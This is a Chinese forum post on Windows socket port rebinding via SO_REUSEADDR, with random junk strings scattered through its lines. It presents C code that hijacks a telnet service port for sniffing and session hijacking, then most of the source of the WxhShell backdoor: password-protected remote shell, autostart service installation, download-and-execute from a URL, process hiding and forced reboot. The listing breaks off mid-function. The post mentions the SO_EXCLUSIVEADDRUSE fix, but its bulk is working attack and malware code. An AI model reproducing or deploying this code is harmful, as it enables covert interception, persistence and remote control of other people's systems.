社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10972阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KIF9[/P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); | eBwcC#^  
}_+XN"}C  
  saddr.sin_family = AF_INET; !*#9b  
^'X I%fEf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MLDzWZ~}ef  
=KPmZ,/w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w"R<8e=  
%-n) L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Xh"9Bcjf  
o#qdgZ  
  这意味着什么?意味着可以进行如下的攻击: <F9-$_m  
x{R440"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "| nXR8t.r  
Wdd}y`lS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3&-rOc  
u({^8: AYu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .<m]j;|6  
Zl>SeTjB-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^6W}ZLp  
lSX1|,B7:]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L.;b( bFe  
fK/:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iYXD }l;r  
m212 gc0u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SAm%$v z%M  
"c%wq 0  
  #include WDc[+Xyw  
  #include wv\X  
  #include E1QJ^]MG.  
  #include    4=,J@N-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "VaWZ*  
  int main() //@6w;P  
  { 0+\725DJ  
  WORD wVersionRequested; gPMR,TU  
  DWORD ret; TEV DES  
  WSADATA wsaData; #0AyC.\  
  BOOL val; lelmX  
  SOCKADDR_IN saddr; T}Tv}~!f  
  SOCKADDR_IN scaddr; 0,hs %x>v  
  int err; U%vTmdOY  
  SOCKET s; <'=!f6Wh  
  SOCKET sc; /?8 1Ypt  
  int caddsize; ;.h /D4  
  HANDLE mt; |V34;}\4  
  DWORD tid;   kK5&?)3Y:  
  wVersionRequested = MAKEWORD( 2, 2 ); fN2Sio:  
  err = WSAStartup( wVersionRequested, &wsaData ); OX"Na2-el  
  if ( err != 0 ) { /d&m#%9Up]  
  printf("error!WSAStartup failed!\n"); DAw1S$dM  
  return -1; BK!Yl\I<  
  } &4%pPL\f  
  saddr.sin_family = AF_INET; J^8j|%h%e  
   Dl>tF?=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >LPb>t5%p  
Fyvo;1a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Pt"K+]Ym  
  saddr.sin_port = htons(23); h8V*$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,:Px(=d4  
  { ;+75"=[YT  
  printf("error!socket failed!\n"); 2IYzc3Z{9  
  return -1; g9C ; JmU  
  } 75\ZD-{T:  
  val = TRUE; y [McdlH m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;lmg0dtJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m=}h7&5p  
  { <EC"E #p  
  printf("error!setsockopt failed!\n"); aImzK/  
  return -1; )"TVR{I%B  
  } rxp|[>O<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C^q|(G)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Jt$YSp=!!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YKe&Ph.  
-mJs0E*g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a 4?A 5  
  { kF1$  
  ret=GetLastError(); x}2nn)fdZ  
  printf("error!bind failed!\n"); SkDr4kds  
  return -1; |lhnCShw  
  } (MXy\b<  
  listen(s,2); Oti;wf G7o  
  while(1) 89 d%P J0  
  { xh;gAh5n  
  caddsize = sizeof(scaddr); f`4=Bl&"{  
  //接受连接请求 jI,[(Z>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5 3pW:`  
  if(sc!=INVALID_SOCKET) -'c qepC{T  
  { _`gF%$]b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Mmz; uy_  
  if(mt==NULL) T#*,ME7|m  
  { K+Him] b  
  printf("Thread Creat Failed!\n"); yl$Ko  
  break; jwwRejNV  
  } u-~ec{oBu  
  } DVd8Ix<  
  CloseHandle(mt); ";.j[p:gi  
  } Hec8pL  
  closesocket(s); WSpF/Wwc  
  WSACleanup(); -UEi  
  return 0; _sy{rnaqvb  
  }   4`?PtRX  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5=;cN9M@  
  { |ts0j/A]Pi  
  SOCKET ss = (SOCKET)lpParam; qX}3}TL  
  SOCKET sc; bB4FjC':  
  unsigned char buf[4096]; 2>jk@~Z1:u  
  SOCKADDR_IN saddr; ^S|qGu,G  
  long num; \zU<o~gs  
  DWORD val; xR-;,=J  
  DWORD ret; {)Wf[2zJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QYH#WrIVx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    Ht.P670  
  saddr.sin_family = AF_INET; ]Q FI>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B-g uz  
  saddr.sin_port = htons(23); ql9n`?Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~Jf(M ^E  
  { /BgX Y}JC.  
  printf("error!socket failed!\n"); ?[#w*Am7  
  return -1; TJYhgna  
  } e,C c.T\o  
  val = 100; aUL7 ]'q}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7s^b@&Le  
  { l]wfL;u  
  ret = GetLastError(); >-c?+oy  
  return -1; p+g=Z<?`  
  } i7)J|(N2.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1{/Cr K/o  
  { p+b/k2 Q  
  ret = GetLastError(); TQb/lY9*  
  return -1; <5L99<E  
  } 'LoWp} f9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _L=-z*a\  
  { >4@w|7lS  
  printf("error!socket connect failed!\n"); g]j&F65D  
  closesocket(sc); a;5clonB  
  closesocket(ss); `BZ|[ q3  
  return -1; 0;x&\x7K  
  } W7C1\'T  
  while(1) N!.o`4 "z  
  { _#M4zO7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .S:(O+#Gm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C'@I!m._i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A*BN  
  num = recv(ss,buf,4096,0); b81^756  
  if(num>0) `[$>S  
  send(sc,buf,num,0); !{,2uQXe  
  else if(num==0) >Ec;6V e  
  break; ?9xWTVa8  
  num = recv(sc,buf,4096,0); 0(o2<d7  
  if(num>0) J#:`'eEG  
  send(ss,buf,num,0); V9/2y9u  
  else if(num==0) S.[L?uE~F  
  break; B _ J2Bf  
  } h% >ZN-K)  
  closesocket(ss); # Ey_.4S  
  closesocket(sc); LawE 3CD  
  return 0 ; qJ5b;=  
  } ?o)?N8U  
uj)vh  
BZv:E?1z  
========================================================== u~,hT Y(%  
5OPvy,e6  
下边附上一个代码,,WXhSHELL G5|nt#>  
#e=E  
========================================================== F,as>X#  
cGs& Kn;h  
#include "stdafx.h" pzt<[;  
_x|R`1`  
#include <stdio.h> >'#vC]@  
#include <string.h> E<D^j^T  
#include <windows.h> N[-$*F,:_  
#include <winsock2.h> J:)ml  
#include <winsvc.h> HjzAFXRG  
#include <urlmon.h> qsEFf(9G  
C/ VHzV%q  
#pragma comment (lib, "Ws2_32.lib") gcI<bY  
#pragma comment (lib, "urlmon.lib") i{9.bpp/  
N G vb]  
#define MAX_USER   100 // 最大客户端连接数 3rMi:*?  
#define BUF_SOCK   200 // sock buffer \0Xq&CG=E  
#define KEY_BUFF   255 // 输入 buffer #'@@P6o5  
-p0*R<t  
#define REBOOT     0   // 重启 c0l?+:0M  
#define SHUTDOWN   1   // 关机 16N |  
S -,$ (  
#define DEF_PORT   5000 // 监听端口 f/z]kfgw  
'w1ll9O  
#define REG_LEN     16   // 注册表键长度 'k}w|gNB  
#define SVC_LEN     80   // NT服务名长度 IR3+BDE)>  
%qqCpg4  
// 从dll定义API ts@w9|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /F^ Jn_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8LF=l1=~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %x;~ o:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [OPF3W3z  
-1hCi !  
// wxhshell配置信息 _J2?B?S/j  
struct WSCFG { J@i9)D_  
  int ws_port;         // 监听端口 Ik, N/[  
  char ws_passstr[REG_LEN]; // 口令 9W-" mD;  
  int ws_autoins;       // 安装标记, 1=yes 0=no i"+TKo-  
  char ws_regname[REG_LEN]; // 注册表键名 ve"tbNL  
  char ws_svcname[REG_LEN]; // 服务名 mQt0?c _  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'xG{q+jj'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pxkh;:agD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4K HIUW$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v.sjWF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <3ep5`1   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I d8MXdV  
sSk qU  
}; k|RY; 8_  
"Q\b6 7Ch  
// default Wxhshell configuration 7wY0JS$fz  
struct WSCFG wscfg={DEF_PORT, rmC7!^/  
    "xuhuanlingzhe", }4piZ ch  
    1, eu]qgtg~U  
    "Wxhshell", a6A~,68/V  
    "Wxhshell", oV9{{  
            "WxhShell Service", M @G\b^"  
    "Wrsky Windows CmdShell Service", 7/KK}\NE  
    "Please Input Your Password: ", f`rI]v|@  
  1, Pd;8<UMk  
  "http://www.wrsky.com/wxhshell.exe", x1Z'_Qw  
  "Wxhshell.exe" 7$Wbf4  
    }; u^i3@JuX  
. qf~t/o  
// 消息定义模块 4\ElMb[]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z:<wB#G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n``9H 91  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #RyTa /L  
char *msg_ws_ext="\n\rExit."; )Pc>+} D  
char *msg_ws_end="\n\rQuit."; =j20A6gND  
char *msg_ws_boot="\n\rReboot..."; ] X)~D!mA  
char *msg_ws_poff="\n\rShutdown..."; u^Ktz DmL  
char *msg_ws_down="\n\rSave to "; WAtv4  
p<mBC2!%  
char *msg_ws_err="\n\rErr!"; {wk#n.c  
char *msg_ws_ok="\n\rOK!"; owyQFk  
AuM}L&`i^  
char ExeFile[MAX_PATH]; C%ZPWOc_8  
int nUser = 0; <Voct  
HANDLE handles[MAX_USER]; ^U*1_|Jh  
int OsIsNt; (7&b)"y  
 JJs*2y  
SERVICE_STATUS       serviceStatus; egr"og{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?|_i"*]l  
>[nR$8_J-l  
// 函数声明 g-ZXj4Ph!  
int Install(void);  V_e  
int Uninstall(void); RU/SJ1wM"  
int DownloadFile(char *sURL, SOCKET wsh); I#]pk!  
int Boot(int flag); ]Nssn\X7  
void HideProc(void); ; bHS^  
int GetOsVer(void); 2qVoe}F  
int Wxhshell(SOCKET wsl); 0DnOO0Nc  
void TalkWithClient(void *cs); f<oU" WM  
int CmdShell(SOCKET sock); zN)).a  
int StartFromService(void); Ek_<2!%X  
int StartWxhshell(LPSTR lpCmdLine); '-XO;{,-R  
'R- g:X\{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f `}/^*D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U KTfLh  
1D!MXYgm1b  
// 数据结构和表定义 WjSu4   
SERVICE_TABLE_ENTRY DispatchTable[] = @)!N{x?  
{ l&kZ6lZ  
{wscfg.ws_svcname, NTServiceMain}, Wl+spWqW  
{NULL, NULL} W1LR ,:$  
}; 5G`fVsb  
AOwmPHEL  
// 自我安装 IAN={";p  
int Install(void) A>mk0P)~Q  
{ FJKlqM5]  
  char svExeFile[MAX_PATH]; `|v/qk7 ^?  
  HKEY key; 0V86]zSo  
  strcpy(svExeFile,ExeFile); _I3v"d  
(u='&ka  
// 如果是win9x系统,修改注册表设为自启动 Lm<WT*@  
if(!OsIsNt) { x&+&)d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D dCcsYm,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *XYp~b  
  RegCloseKey(key); qUn+1.[%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .LnknjC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5:5d=7WX  
  RegCloseKey(key); ^ uwth  
  return 0; MR5[|kHJT  
    } '{.8tT ?tJ  
  } C(z 'oi:f  
} ?<\2}1  
else { g>gf-2%Uo  
O(e!Vx{t!  
// 如果是NT以上系统,安装为系统服务 M)Z!W3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x;/dSfv_  
if (schSCManager!=0) Br{(sL0e  
{ P*U^,Jh<  
  SC_HANDLE schService = CreateService IGly x'\_  
  ( Y" rODk1  
  schSCManager, ZSD7%gE<D  
  wscfg.ws_svcname, o Q*LP{M  
  wscfg.ws_svcdisp, tGbx/$Y   
  SERVICE_ALL_ACCESS, voTP,R[}85  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V eY&pPQ  
  SERVICE_AUTO_START, !"-.D4*r  
  SERVICE_ERROR_NORMAL, iTT%_-X-  
  svExeFile, Fq o h!F  
  NULL, Gxxz4    
  NULL, |YV> #l  
  NULL, e"{"g[b/7  
  NULL, {^:NII]  
  NULL Zu>-y#Bw  
  ); u86@zlzd  
  if (schService!=0) 28c6~*Te #  
  { :qAX9T'{t  
  CloseServiceHandle(schService); % -+7=x  
  CloseServiceHandle(schSCManager); 3)2{c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wf\7sz  
  strcat(svExeFile,wscfg.ws_svcname); %3"U|Za+   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;mGPX~38  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iC>%P&|-)|  
  RegCloseKey(key); 7fSNF7/+  
  return 0; Of$R+n.  
    } V\]j^$  
  } @t*D<B$  
  CloseServiceHandle(schSCManager); qHo H h  
} &N+`O)$  
} ~_F;>N~  
T (]*jaB  
return 1; xdz 6[8 d8  
} l%?4L/J)#  
 ylS6D  
// 自我卸载 4PkKL/E  
int Uninstall(void) Q 8;JvCz   
{ ^SsnCn-e  
  HKEY key; x ju*zmu  
gX(Xj@=(&  
if(!OsIsNt) { 0M&~;`W}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  '.>y'=  
  RegDeleteValue(key,wscfg.ws_regname); gN7 3)uJ0  
  RegCloseKey(key); D`'Cnt/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kUT^o  
  RegDeleteValue(key,wscfg.ws_regname); YU)%-V\  
  RegCloseKey(key); G]EI!-y  
  return 0; 0w< ilJ  
  } sX3qrRY  
} L$+_  
} ZitmvcMk  
else { ~ISY( &  
:xbj& l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =YfzB!ld  
if (schSCManager!=0) Zs-lN*u7.  
{ (\r^ 0>H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lFSvHs5  
  if (schService!=0) 9vwm RVN  
  { [F;\NJp6?^  
  if(DeleteService(schService)!=0) { mE>{K  
  CloseServiceHandle(schService); Tr|PR t  
  CloseServiceHandle(schSCManager); euRKYGW  
  return 0; GRVF/hPn  
  } BSB&zp  
  CloseServiceHandle(schService); q bCU&G|)  
  } f1elzANy  
  CloseServiceHandle(schSCManager); :PY6J}:&#  
} 1CSGG'J]E  
} ]\oT({$6B  
{.[EXMX  
return 1; G -K{  
} ^;9l3P{  
=n_z`I  
// 从指定url下载文件 ,oSn<$%/q  
int DownloadFile(char *sURL, SOCKET wsh) qN9 ?$\  
{ F7nwV Dc*  
  HRESULT hr; }A;YM1^$  
char seps[]= "/"; jt: *Y  
char *token; 4<)*a]\c5M  
char *file; Z#(Y%6[u  
char myURL[MAX_PATH]; i "X" -)#  
char myFILE[MAX_PATH]; .X"&k O>G  
;*9<lUvu  
strcpy(myURL,sURL); a~LdcUYs  
  token=strtok(myURL,seps);  ST~YO  
  while(token!=NULL) pFZ$z?lI  
  { TX@ed  
    file=token; NXDkGO/*  
  token=strtok(NULL,seps); >&R@L KP  
  } UL#:!J/34  
2Oyw#1tdn  
GetCurrentDirectory(MAX_PATH,myFILE); ["Tro;K#  
strcat(myFILE, "\\"); #CAZ}];Qx  
strcat(myFILE, file); _*8 6  
  send(wsh,myFILE,strlen(myFILE),0); C!9mygI  
send(wsh,"...",3,0); #w\x-i|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >9i>A:  
  if(hr==S_OK) 7ncR2-{g  
return 0; }LQV2 hKTG  
else vWrTB   
return 1; ?EPHq, E  
WS(m#WFQr  
} f8=qnY2j  
d#$Pf=}  
// 系统电源模块 e{Vn{.i,5  
int Boot(int flag) ,F` 1VpTd8  
{ So e2Gq  
  HANDLE hToken; f7!48,(fB  
  TOKEN_PRIVILEGES tkp; :%j"l7=>  
)Y'g;  
  if(OsIsNt) { ZNk[Jn [.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,/TmTX--d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ADB)-!$xoi  
    tkp.PrivilegeCount = 1; O;McPw<&\:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2@pEiq3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "x HK*  
if(flag==REBOOT) { M5dEZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -MsL>F.]  
  return 0; FwHqID_!:l  
} "lC>_A  
else { "Ms{c=XPK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *P]]7DR  
  return 0; .d$Q5Qae  
} [cZ/)tm  
  } ) R5j?6}xF  
  else { .0gfP4{1{  
if(flag==REBOOT) { ?OoI6 3&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z)=S>06X Q  
  return 0; dn?'06TD  
} a.JjbFL  
else { |22vNt_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `' EG7  
  return 0; qdKqc,R1{  
} ^;( dF<?'r  
} 4b`Fi@J\  
"AKr;|m  
return 1; \v<S:cTf  
} AcH!KbYf  
G/fBeK$.  
// win9x进程隐藏模块 uV@' 898%5  
void HideProc(void) yD.(j*bMK;  
{ Rbr:Q]zGN  
G,^ ?qbHg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @p^EXc*|  
  if ( hKernel != NULL ) q _K@KB  
  { QJiH^KY6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `'3 De(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c(FGW7L<  
    FreeLibrary(hKernel); -r_\=<(  
  } :"Tkl$@,  
89{;R  
return; uR.pQo07y<  
} V lO^0r^z  
}U5$~, *p  
// 获取操作系统版本 QHUFS{G ]  
int GetOsVer(void) 'NfsAE  
{ 6-/W4L)?>  
  OSVERSIONINFO winfo; qvGm JN0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); COw!a\Jl  
  GetVersionEx(&winfo); ZF#n(Y?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'Z9UqEGV  
  return 1; a MFUj+^  
  else tQUKw@@Q  
  return 0; :AqtPV'  
} *&_cp]3-WF  
-a~n_Z>_  
// 客户端句柄模块 3="vOSJ6&  
int Wxhshell(SOCKET wsl) 4!xRA''  
{ `v<S  
  SOCKET wsh; OkISR j'!U  
  struct sockaddr_in client; IuAu_`,Ndi  
  DWORD myID; \pTC[Ry1  
PU1YR;[Fe  
  while(nUser<MAX_USER) F6Q%<p a  
{ 8'TIDu  
  int nSize=sizeof(client); fGs\R]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sMUpkU-  
  if(wsh==INVALID_SOCKET) return 1; GVn'p Wg  
7 <]YK`a2d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n6Uf>5  
if(handles[nUser]==0)  < ]+Mdy  
  closesocket(wsh); wmXI8'~F&  
else z-g6d(  
  nUser++; ;1nXJ{jKw  
  } +|pYu<OY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gae=+@z  
5T(cy  
  return 0; ~Jsu"kr  
} l7VTuVGUJ  
Ik5V?  
// 关闭 socket ohJDu{V  
void CloseIt(SOCKET wsh) M}CxCEdDB]  
{ !Yn#3c  
closesocket(wsh); dhJ=+Fz"w  
nUser--; D/4]r@M2c  
ExitThread(0); I!1+#0SG  
} iT O Y  
5P\A++2 2Y  
// 客户端请求句柄 l=Pw yJ  
void TalkWithClient(void *cs) ,2^A<IwR  
{ JTBt=u{6^  
/z`tI  
  SOCKET wsh=(SOCKET)cs; \{~CO{II  
  char pwd[SVC_LEN]; dvZlkMm   
  char cmd[KEY_BUFF]; ]F>#0Rdc  
char chr[1]; eK*oV}U-k  
int i,j; K4]ZVMm/*  
5|Z8UzL  
  while (nUser < MAX_USER) { F!/-2u5gF  
O#O"]A  
if(wscfg.ws_passstr) { $ #GuV'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yuJ>xsM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ' ;nG4+K  
  //ZeroMemory(pwd,KEY_BUFF); o.Y6(o  
      i=0; CH| cK8q  
  while(i<SVC_LEN) { NW3qs`$-(  
8+".r2*_iO  
  // 设置超时 fB,eeT1v?h  
  fd_set FdRead; $ywROa]  
  struct timeval TimeOut; 9b,0_IMHH  
  FD_ZERO(&FdRead); J:ka@2>|  
  FD_SET(wsh,&FdRead); |r)QkxdU,  
  TimeOut.tv_sec=8; 41+WIa L  
  TimeOut.tv_usec=0; l`:u5\ rM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1ZYo-a;)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T:2f*!r  
3k(tv U+eC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?K2}<H-  
  pwd=chr[0]; cTRtMk%^  
  if(chr[0]==0xd || chr[0]==0xa) { QUvSeNSp  
  pwd=0; %N(>B_t\  
  break; c$BH`" <*  
  } HJym|G>%?  
  i++; BtKor6ba  
    } Hy,""Py  
h7TkMt[l  
  // 如果是非法用户,关闭 socket +Ig%h[1a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *fv BB9raq  
} Fo;:GX,b  
,RY;dX-#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c|aX4=Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W(4$.uZ)  
pYr+n9)^  
while(1) { cjO %X  
.sM,U  
  ZeroMemory(cmd,KEY_BUFF); x{K"z4xbI  
dtfOFag4_  
      // 自动支持客户端 telnet标准   IO=$+c  
  j=0; $_TS]~y4}  
  while(j<KEY_BUFF) { UF }[%Sa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &=n/h5e0t&  
  cmd[j]=chr[0]; %xQ'i4`  
  if(chr[0]==0xa || chr[0]==0xd) { 2e-bt@0t  
  cmd[j]=0; <%m1+%mA.  
  break; ANM=:EtP  
  } ElDeXLr'  
  j++; Qo^(r$BD  
    } 33D2^ Sf6"  
mD&I6F[s  
  // 下载文件 %eIaH!x:  
  if(strstr(cmd,"http://")) { wF%RM$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fc<y(uX  
  if(DownloadFile(cmd,wsh)) xDH#K0-#L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j3N d4#  
  else N|>JLZ>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .QZjJ9pvK  
  } yE,qLiH  
  else { ,c?( |tF  
$ xHtI]T  
    switch(cmd[0]) { ^E8qI8s  
  -mh"["L"  
  // 帮助 ]$9y7Bhj.  
  case '?': { (EosLn h0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8-k`"QI=  
    break; 2fu<s^9dh  
  } :b %2qBv  
  // 安装 $0 vT_  
  case 'i': { xf,A<j (o  
    if(Install()) Cc%{e9e*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @H4]Gp ]  
    else fsw[ R0B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \f(zMP  
    break; |#< z\u }  
    } ` V [4  
  // 卸载 C,$o+q*)W9  
  case 'r': { w%iw xo   
    if(Uninstall()) `sso Wn4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W}3%BWn  
    else } eHxw+.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S$$SLy:P  
    break; #Ktk["6  
    } L97 ~ma  
  // 显示 wxhshell 所在路径 T`Up%5Dk  
  case 'p': { BN%cX 2j  
    char svExeFile[MAX_PATH]; =7H\llL4BC  
    strcpy(svExeFile,"\n\r"); _&9P&Zf4  
      strcat(svExeFile,ExeFile); 3c,4 wyn  
        send(wsh,svExeFile,strlen(svExeFile),0); Q3&D A1b`  
    break; #Y=b7|l  
    } z~~pH9=c2  
  // 重启 &p_iAMn:9  
  case 'b': { c^pQitPv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "U eq  
    if(Boot(REBOOT)) 9*K-d'm  
